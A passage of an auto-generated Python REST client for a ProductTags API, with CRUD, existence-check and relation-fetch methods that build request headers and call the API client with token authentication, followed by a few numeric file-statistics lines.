self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='file', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_count_get(self, **kwargs): """ Count instances of the model matched by where from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_count_get(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str where: Criteria to match model instances :return: InlineResponse2001 If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_count_get_with_http_info(**kwargs) else: (data) = self.product_tags_count_get_with_http_info(**kwargs) return data def product_tags_count_get_with_http_info(self, **kwargs): """ Count instances of the model matched by where from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_count_get_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str where: Criteria to match model instances :return: InlineResponse2001 If the method is called asynchronously, returns the request thread. """ all_params = ['where'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_count_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} resource_path = '/ProductTags/count'.replace('{format}', 'json') path_params = {} query_params = {} if 'where' in params: query_params['where'] = params['where'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='InlineResponse2001', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_find_one_get(self, **kwargs): """ Find first instance of the model matched by filter from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_find_one_get(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str filter: Filter defining fields, where, include, order, offset, and limit - must be a JSON-encoded string ({\"something\":\"value\"}) :return: ProductTag If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_find_one_get_with_http_info(**kwargs) else: (data) = self.product_tags_find_one_get_with_http_info(**kwargs) return data def product_tags_find_one_get_with_http_info(self, **kwargs): """ Find first instance of the model matched by filter from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_find_one_get_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str filter: Filter defining fields, where, include, order, offset, and limit - must be a JSON-encoded string ({\"something\":\"value\"}) :return: ProductTag If the method is called asynchronously, returns the request thread. """ all_params = ['filter'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_find_one_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} resource_path = '/ProductTags/findOne'.replace('{format}', 'json') path_params = {} query_params = {} if 'filter' in params: query_params['filter'] = params['filter'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ProductTag', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_get(self, **kwargs): """ Find all instances of the model matched by filter from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_get(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str filter: Filter defining fields, where, include, order, offset, and limit - must be a JSON-encoded string ({\"something\":\"value\"}) :return: list[ProductTag] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_get_with_http_info(**kwargs) else: (data) = self.product_tags_get_with_http_info(**kwargs) return data def product_tags_get_with_http_info(self, **kwargs): """ Find all instances of the model matched by filter from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_get_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str filter: Filter defining fields, where, include, order, offset, and limit - must be a JSON-encoded string ({\"something\":\"value\"}) :return: list[ProductTag] If the method is called asynchronously, returns the request thread. """ all_params = ['filter'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} resource_path = '/ProductTags'.replace('{format}', 'json') path_params = {} query_params = {} if 'filter' in params: query_params['filter'] = params['filter'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[ProductTag]', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_id_delete(self, id, **kwargs): """ Delete a model instance by {{id}} from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_delete(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :return: object If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_id_delete_with_http_info(id, **kwargs) else: (data) = self.product_tags_id_delete_with_http_info(id, **kwargs) return data def product_tags_id_delete_with_http_info(self, id, **kwargs): """ Delete a model instance by {{id}} from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_delete_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :return: object If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_id_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `product_tags_id_delete`") collection_formats = {} resource_path = '/ProductTags/{id}'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['id'] = params['id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='object', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_id_exists_get(self, id, **kwargs): """ Check whether a model instance exists in the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_exists_get(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :return: InlineResponse2002 If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_id_exists_get_with_http_info(id, **kwargs) else: (data) = self.product_tags_id_exists_get_with_http_info(id, **kwargs) return data def product_tags_id_exists_get_with_http_info(self, id, **kwargs): """ Check whether a model instance exists in the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_exists_get_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :return: InlineResponse2002 If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_id_exists_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `product_tags_id_exists_get`") collection_formats = {} resource_path = '/ProductTags/{id}/exists'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['id'] = params['id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='InlineResponse2002', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_id_get(self, id, **kwargs): """ Find a model instance by {{id}} from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_get(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :param str filter: Filter defining fields and include - must be a JSON-encoded string ({\"something\":\"value\"}) :return: ProductTag If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_id_get_with_http_info(id, **kwargs) else: (data) = self.product_tags_id_get_with_http_info(id, **kwargs) return data def product_tags_id_get_with_http_info(self, id, **kwargs): """ Find a model instance by {{id}} from the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_get_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :param str filter: Filter defining fields and include - must be a JSON-encoded string ({\"something\":\"value\"}) :return: ProductTag If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'filter'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_id_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `product_tags_id_get`") collection_formats = {} resource_path = '/ProductTags/{id}'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['id'] = params['id'] query_params = {} if 'filter' in params: query_params['filter'] = params['filter'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ProductTag', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_id_head(self, id, **kwargs): """ Check whether a model instance exists in the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_head(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :return: InlineResponse2002 If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_id_head_with_http_info(id, **kwargs) else: (data) = self.product_tags_id_head_with_http_info(id, **kwargs) return data def product_tags_id_head_with_http_info(self, id, **kwargs): """ Check whether a model instance exists in the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_head_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :return: InlineResponse2002 If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_id_head" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `product_tags_id_head`") collection_formats = {} resource_path = '/ProductTags/{id}'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['id'] = params['id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'HEAD', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='InlineResponse2002', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_id_patch(self, id, **kwargs): """ Patch attributes for a model instance and persist it into the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_patch(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ProductTag id (required) :param ProductTag data: An object of model property name/value pairs :return: ProductTag If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_id_patch_with_http_info(id, **kwargs) else: (data) = self.product_tags_id_patch_with_http_info(id, **kwargs) return data def product_tags_id_patch_with_http_info(self, id, **kwargs): """ Patch attributes for a model instance and persist it into the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_patch_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ProductTag id (required) :param ProductTag data: An object of model property name/value pairs :return: ProductTag If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'data'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_id_patch" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `product_tags_id_patch`") collection_formats = {} resource_path = '/ProductTags/{id}'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['id'] = params['id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ProductTag', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_id_product_get(self, id, **kwargs): """ Fetches belongsTo relation product. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_product_get(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ProductTag id (required) :param bool refresh: :return: Product If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_id_product_get_with_http_info(id, **kwargs) else: (data) = self.product_tags_id_product_get_with_http_info(id, **kwargs) return data def product_tags_id_product_get_with_http_info(self, id, **kwargs): """ Fetches belongsTo relation product. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_product_get_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ProductTag id (required) :param bool refresh: :return: Product If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'refresh'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_id_product_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `product_tags_id_product_get`") collection_formats = {} resource_path = '/ProductTags/{id}/product'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['id'] = params['id'] query_params = {} if 'refresh' in params: query_params['refresh'] = params['refresh'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Product', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_id_put(self, id, **kwargs): """ Replace attributes for a model instance and persist it into the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_put(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :param ProductTag data: Model instance data :return: ProductTag If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_id_put_with_http_info(id, **kwargs) else: (data) = self.product_tags_id_put_with_http_info(id, **kwargs) return data def product_tags_id_put_with_http_info(self, id, **kwargs): """ Replace attributes for a model instance and persist it into the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_put_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :param ProductTag data: Model instance data :return: ProductTag If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'data'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_id_put" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `product_tags_id_put`") collection_formats = {} resource_path = '/ProductTags/{id}'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['id'] = params['id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ProductTag', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_id_replace_post(self, id, **kwargs): """ Replace attributes for a model instance and persist it into the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_replace_post(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :param ProductTag data: Model instance data :return: ProductTag If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_id_replace_post_with_http_info(id, **kwargs) else: (data) = self.product_tags_id_replace_post_with_http_info(id, **kwargs) return data def product_tags_id_replace_post_with_http_info(self, id, **kwargs): """ Replace attributes for a model instance and persist it into the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_replace_post_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Model id (required) :param ProductTag data: Model instance data :return: ProductTag If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'data'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_id_replace_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `product_tags_id_replace_post`") collection_formats = {} resource_path = '/ProductTags/{id}/replace'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['id'] = params['id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ProductTag', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_id_tag_get(self, id, **kwargs): """ Fetches belongsTo relation tag. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_tag_get(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ProductTag id (required) :param bool refresh: :return: Tag If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_id_tag_get_with_http_info(id, **kwargs) else: (data) = self.product_tags_id_tag_get_with_http_info(id, **kwargs) return data def product_tags_id_tag_get_with_http_info(self, id, **kwargs): """ Fetches belongsTo relation tag. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_id_tag_get_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ProductTag id (required) :param bool refresh: :return: Tag If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'refresh'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_id_tag_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `product_tags_id_tag_get`") collection_formats = {} resource_path = '/ProductTags/{id}/tag'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['id'] = params['id'] query_params = {} if 'refresh' in params: query_params['refresh'] = params['refresh'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Tag', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats) def product_tags_post(self, **kwargs): """ Create a new instance of the model and persist it into the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_post(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param ProductTag data: Model instance data :return: ProductTag If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.product_tags_post_with_http_info(**kwargs) else: (data) = self.product_tags_post_with_http_info(**kwargs) return data def product_tags_post_with_http_info(self, **kwargs): """ Create a new instance of the model and persist it into the data source. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.product_tags_post_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param ProductTag data: Model instance data :return: ProductTag If the method is called asynchronously, returns the request thread. """ all_params = ['data'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method product_tags_post" % key ) params[key] = val del params['kwargs'] collection_formats = {} resource_path = '/ProductTags'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in params: body_params = params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']) # Authentication setting auth_settings = ['access_token'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ProductTag', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), collection_formats=collection_formats)
40.350804
165
0.560303
6,924
67,749
5.26141
0.037262
0.06588
0.025693
0.029646
0.965578
0.96179
0.959456
0.949547
0.946226
0.945951
0
0.001075
0.354854
67,749
1,678
166
40.374851
